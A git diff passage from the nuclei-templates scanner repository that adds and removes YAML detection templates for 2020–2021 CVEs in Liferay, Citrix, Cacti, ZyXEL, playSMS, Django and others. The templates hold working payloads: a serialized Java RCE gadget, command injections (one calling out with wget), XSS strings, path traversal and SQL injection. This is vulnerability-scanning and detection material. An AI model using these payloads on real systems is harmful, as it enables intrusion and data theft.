+ # password - Secure!PwD8890 + + matchers-condition: and + matchers: + - type: word + words: + - "CTCWebServiceSi" + - "SOAP-ENV" + part: body + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "text/xml" + - "SAP NetWeaver Application Server" + part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-7246.yaml b/nuclei-templates/CVE-2020/cve-2020-7246.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-7246.yaml rename to nuclei-templates/CVE-2020/cve-2020-7246.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-7318.yaml b/nuclei-templates/CVE-2020/cve-2020-7318.yaml deleted file mode 100644 index 5d994c8781..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-7318.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2020-7318 - -info: - name: McAfee ePolicy Orchestrator Reflected XSS - author: dwisiswant0 - severity: medium - description: | - Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO) - prior to 5.10.9 Update 9 allows administrators to inject arbitrary web - script or HTML via multiple parameters where the administrator's entries - were not correctly sanitized. - - reference: - - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/ - tags: cve,cve2020,xss,mcafee - classification: - cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.30 - cve-id: CVE-2020-7318 - cwe-id: CWE-79 - -requests: - - raw: - - | - GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1 - Host: {{Hostname}} - Connection: close - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "text/html" - part: header - - type: word - words: - - "Policy Name" - - "'\">" - condition: and - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-7961.yaml b/nuclei-templates/CVE-2020/cve-2020-7961.yaml deleted file mode 100644 index 80017aa104..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-7961.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2020-7961 - -info: - name: Liferay Portal Unauthenticated RCE - author: dwisiswant0 - severity: critical - tags: cve,cve2020,rce,liferay - description: Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS). - reference: - - https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html - - https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html - - https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-7961 - cwe-id: CWE-502 - -requests: - - raw: - - | - POST /api/jsonws/invoke HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData - cmd2: §command§ - - cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D - - payloads: - command: - - "systeminfo" # Windows - - "lsb_release -a" # Linux - - matchers-condition: and - matchers: - - - type: regex - condition: or - regex: - - "OS Name:.*Microsoft Windows" - - "Distributor ID:" - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - regex: - - "Microsoft Windows (.*)" - - "Distributor ID: (.*)" diff --git a/nuclei-templates/CVE-2020/cve-2020-8191.yaml b/nuclei-templates/CVE-2020/cve-2020-8191.yaml deleted file mode 100644 index 850e1e43ea..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8191.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2020-8191 - -info: - name: Citrix ADC & NetScaler Gateway Reflected XSS - author: dwisiswant0 - severity: medium - tags: cve,cve2020,citrix,xss - reference: https://support.citrix.com/article/CTX276688 - description: | - Improper input validation in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows reflected Cross Site Scripting (XSS). - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-8191 - cwe-id: CWE-79 - -requests: - - raw: - - | - POST /menu/stapp HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - X-NITRO-USER: xpyZxwy6 - - sid=254&pe=1,2,3,4,5&appname=%0a&au=1&username=nsroot - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: status - status: - - 200 - - - type: word - words: - - "text/html" - part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8193.yaml b/nuclei-templates/CVE-2020/cve-2020-8193.yaml deleted file mode 100644 index 286402bddc..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8193.yaml +++ /dev/null @@ -1,74 +0,0 @@ -id: CVE-2020-8193 - -info: - name: Citrix unauthenticated LFI - author: pdteam - severity: medium - reference: - - https://github.com/jas502n/CVE-2020-8193 - - http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html - description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints. - tags: cve,cve2020,citrix,lfi - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - cvss-score: 6.50 - cve-id: CVE-2020-8193 - cwe-id: CWE-862 - -requests: - - raw: - - | - POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/xml - X-NITRO-USER: xpyZxwy6 - X-NITRO-PASS: xWXHUJ56 - - - - - | - GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 - Host: {{Hostname}} - - - | - GET /menu/neo HTTP/1.1 - Host: {{Hostname}} - - - | - GET /menu/stc HTTP/1.1 - Host: {{Hostname}} - - - | - POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/xml - X-NITRO-USER: oY39DXzQ - X-NITRO-PASS: ZuU9Y9c1 - rand_key: §randkey§ - - - - - | - POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/xml - X-NITRO-USER: oY39DXzQ - X-NITRO-PASS: ZuU9Y9c1 - rand_key: §randkey§ - - - - cookie-reuse: true - extractors: - - type: regex - name: randkey # dynamic variable - part: body - internal: true - regex: - - "(?m)[0-9]{3,10}\\.[0-9]+" - - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8194.yaml b/nuclei-templates/CVE-2020/cve-2020-8194.yaml deleted file mode 100644 index 70af4732d1..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8194.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-8194 - -info: - name: Citrix ADC & NetScaler Gateway Reflected Code Injection - author: dwisiswant0 - severity: medium - tags: cve,cve2020,citrix - description: Reflected code injection in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows the modification of a file download. - reference: https://support.citrix.com/article/CTX276688 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - cvss-score: 6.50 - cve-id: CVE-2020-8194 - cwe-id: CWE-94 - -requests: - - raw: - - | - GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1 - Host: {{Hostname}} - Cookie: startupapp=st - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "application/x-java-jnlp-file" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-8497.yaml b/nuclei-templates/CVE-2020/cve-2020-8497.yaml deleted file mode 100644 index 14601fef0a..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8497.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-8497 - -info: - name: Artica Pandora FMS - Arbitrary File Read - author: gy741 - severity: medium - description: In Artica Pandora FMS through 7.42, an unauthenticated attacker can read the chat history. The file is in JSON format and it contains user names, user IDs, private messages, and timestamps. - reference: - - https://k4m1ll0.com/cve-2020-8497.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-8497 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.30 - cve-id: CVE-2020-8497 - cwe-id: CWE-306 - tags: cve,cve2020,fms,artica - -requests: - - method: GET - path: - - '{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"type"' - - '"id_user"' - - '"user_name"' - - '"text"' - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-8644.yaml b/nuclei-templates/CVE-2020/cve-2020-8644.yaml new file mode 100644 index 0000000000..aae9417521 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8644.yaml @@ -0,0 +1,68 @@ +id: CVE-2020-8644 + +info: + name: playSMS <1.4.3 - Remote Code Execution + author: dbrwsky + severity: critical + description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template. + impact: | + Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system. + remediation: | + Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability. + reference: + - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ + - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-8644 + - http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html + - https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-8644 + cwe-id: CWE-94 + epss-score: 0.96028 + epss-percentile: 0.99356 + cpe: cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: playsms + product: playsms + tags: cve,cve2020,unauth,kev,packetstorm,ssti,playsms,rce + +http: + - raw: + - | + GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + - | + POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password= + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '4468-0202-EVC' + + - type: status + status: + - 200 + + extractors: + - type: xpath + name: csrf + internal: true + xpath: + - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input + attribute: value + part: body +# digest: 4a0a00473045022100de0fd4f3f3ad0fb96410bfb6090044c9b207a545e58487ddd0511778356e78c702202963c19d8dd8b9609b66bad92c7de0ffbe0fb371c60ada6d7cc14bdf04c0a9de:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8654.yaml b/nuclei-templates/CVE-2020/cve-2020-8654.yaml new file mode 100644 index 0000000000..9f41122e5c --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8654.yaml @@ -0,0 +1,60 @@ +id: CVE-2020-8654 + +info: + name: EyesOfNetwork 5.1-5.3 - SQL Injection/Remote Code Execution + author: praetorian-thendrickson + severity: high + description: EyesOfNetwork 5.1 to 5.3 contains SQL injection and remote code execution vulnerabilities. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. See also CVE-2020-8655, CVE-2020-8656, CVE-2020-8657, and CVE-2020-9465. + impact: | + Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary SQL queries or remote code on the affected system. + remediation: | + Upgrade to a patched version of EyesOfNetwork or apply the necessary security patches to mitigate the vulnerabilities. + reference: + - https://github.com/h4knet/eonrce + - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb + - https://github.com/EyesOfNetworkCommunity/eonweb/issues/50 + - https://nvd.nist.gov/vuln/detail/CVE-2020-8654 + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-8654 + cwe-id: CWE-78 + epss-score: 0.04987 + epss-percentile: 0.92656 + cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:5.3-0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: eyesofnetwork + product: eyesofnetwork + tags: cve2020,cve,cisa,eyesofnetwork,rce,authenticated,msf,sqli + +http: + - method: GET + path: + - "{{BaseURL}}/css/eonweb.css" + + matchers-condition: and + matchers: + - type: dsl + dsl: + - compare_versions(version, '< 5.4', '>= 5.1') + + - type: word + part: body + words: + - "EyesOfNetwork" + + - type: status + status: + - 200 + + extractors: + - type: regex + name: version + group: 1 + regex: + - "# VERSION : ([0-9.]+)" + internal: true + part: body +# digest: 4a0a0047304502207ebd6b469ac0bd67dd7bc462fa62ef88bde2a9cb294df7a70aecebfd8f51f913022100be00ea371f5c1dbe5dd0833ee69f20b921c315d38f0cca3ba9d8e3af3b938674:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8813.yaml b/nuclei-templates/CVE-2020/cve-2020-8813.yaml deleted file mode 100644 index d8ab5f4114..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8813.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-8813 - -info: - name: Cacti v1.2.8 - Unauthenticated Remote Code Execution - author: gy741 - severity: high - description: This vulnerability could be exploited without authentication if Cacti is enabling “Guest Realtime Graphs” privilege, So in this case no need for the authentication part and you can just use the following code to exploit the vulnerability - reference: - - https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/ - tags: cve,cve2020,cacti,rce,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2020-8813 - cwe-id: CWE-78 - -requests: - - raw: - - | - GET /graph_realtime.php?action=init HTTP/1.1 - Host: {{Hostname}} - Cookie: Cacti=%3Bwget%20http%3A//{{interactsh-url}} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-8982.yaml b/nuclei-templates/CVE-2020/cve-2020-8982.yaml deleted file mode 100644 index 34b82f700e..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8982.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2020-8982 - -info: - name: Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read - author: dwisiswant0 - severity: high - description: An unauthenticated arbitrary file read issue exists in all versions of Citrix ShareFile StorageZones (aka storage zones) Controller, including the most recent 5.10.x releases as of May 2020. - tags: cve,cve2020,citrix,lfi - reference: https://support.citrix.com/article/CTX269106 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-8982 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-9047.yaml b/nuclei-templates/CVE-2020/cve-2020-9047.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-9047.yaml rename to nuclei-templates/CVE-2020/cve-2020-9047.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-9054.yaml b/nuclei-templates/CVE-2020/cve-2020-9054.yaml deleted file mode 100644 index e9491963f0..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-9054.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2020-9054 - -info: - name: ZyXEL NAS RCE - author: dhiyaneshDk - severity: critical - description: | - Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device. - ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it. - If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device. - Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges. - As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges. - By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device. - This may happen by directly connecting to a device if it is directly exposed to an attacker. - However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices. - For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system. - Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2 - reference: - - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/ - - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml - tags: cve,cve2020,rce,zyxel,injection - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-9054 - cwe-id: CWE-78 - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2020/cve-2020-9376.yaml b/nuclei-templates/CVE-2020/cve-2020-9376.yaml deleted file mode 100644 index 5afd406fa5..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-9376.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2020-9376 - -info: - name: D-Link Information Disclosure via getcfg.php - author: whynotke - severity: high - description: | - D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. - NOTE: This vulnerability only affects products that are no longer supported by the maintainer. - - reference: - - https://gist.github.com/GouveaHeitor/dcbb67b301cc45adc00f8a6a2a0a590f - - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182 - - https://www.dlink.com.br/produto/dir-610/ - tags: cve,cve2020,dlink,disclosure - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-9376 - cwe-id: CWE-74 -requests: - - method: POST - path: - - "{{BaseURL}}/getcfg.php" - - body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 - headers: - Content-Type: application/x-www-form-urlencoded - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "Admin" - - "" - - "" - condition: and - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-9402.yaml b/nuclei-templates/CVE-2020/cve-2020-9402.yaml new file mode 100644 index 0000000000..172130f2c4 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-9402.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-9402 + +info: + name: Django SQL Injection + description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL Injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL. + reference: + - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402 + - https://docs.djangoproject.com/en/3.0/releases/security/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-9402 + author: geeknik + severity: high + tags: cve,cve2020,django,sqli + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2020-9402 + cwe-id: CWE-89 + +requests: + - method: GET + path: + - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1" + + matchers: + - type: word + words: + - "DatabaseError at" + - "ORA-29257:" + - "ORA-06512:" + - "Request Method:" + condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-9496.yaml b/nuclei-templates/CVE-2020/cve-2020-9496.yaml new file mode 100644 index 0000000000..b07e38398a --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-9496.yaml @@ -0,0 +1,44 @@ +id: CVE-2020-9496 + +info: + name: Apache OFBiz XML-RPC Java Deserialization + author: dwisiswant0 + severity: medium + description: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03 + tags: cve,cve2020,apache,java,ofbiz + reference: + - http://packetstormsecurity.com/files/158887/Apache-OFBiz-XML-RPC-Java-Deserialization.html + - http://packetstormsecurity.com/files/161769/Apache-OFBiz-XML-RPC-Java-Deserialization.html + - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-9496 + cwe-id: CWE-79,CWE-502 + +requests: + - raw: + - | + POST /webtools/control/xmlrpc HTTP/1.1 + Host: {{Hostname}} + Origin: http://{{Hostname}} + Content-Type: application/xml + + ProjectDiscoverydwisiswant0 + + matchers-condition: and + matchers: + - type: word + words: + - "faultString" + - "No such service [ProjectDiscovery]" + - "methodResponse" + condition: and + part: body + - type: word + words: + - "Content-Type: text/xml" + part: header + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/CVE-20200924a.yaml b/nuclei-templates/CVE-2020/cve-20200924a(1).yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-20200924a.yaml rename to nuclei-templates/CVE-2020/cve-20200924a(1).yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-1497.yaml b/nuclei-templates/CVE-2021/CVE-2021-1497.yaml deleted file mode 100644 index bcc83ce260..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-1497.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2021-1497 - -info: - name: Cisco HyperFlex HX Data Platform - Remote Command Execution - author: gy741 - severity: critical - description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. - reference: - - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-1497 - - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html - - https://twitter.com/Unit42_Intel/status/1402655493735206915 - - https://twitter.com/ptswarm/status/1390300625129201664 - - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution - - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md - classification: - cvss-metrics: 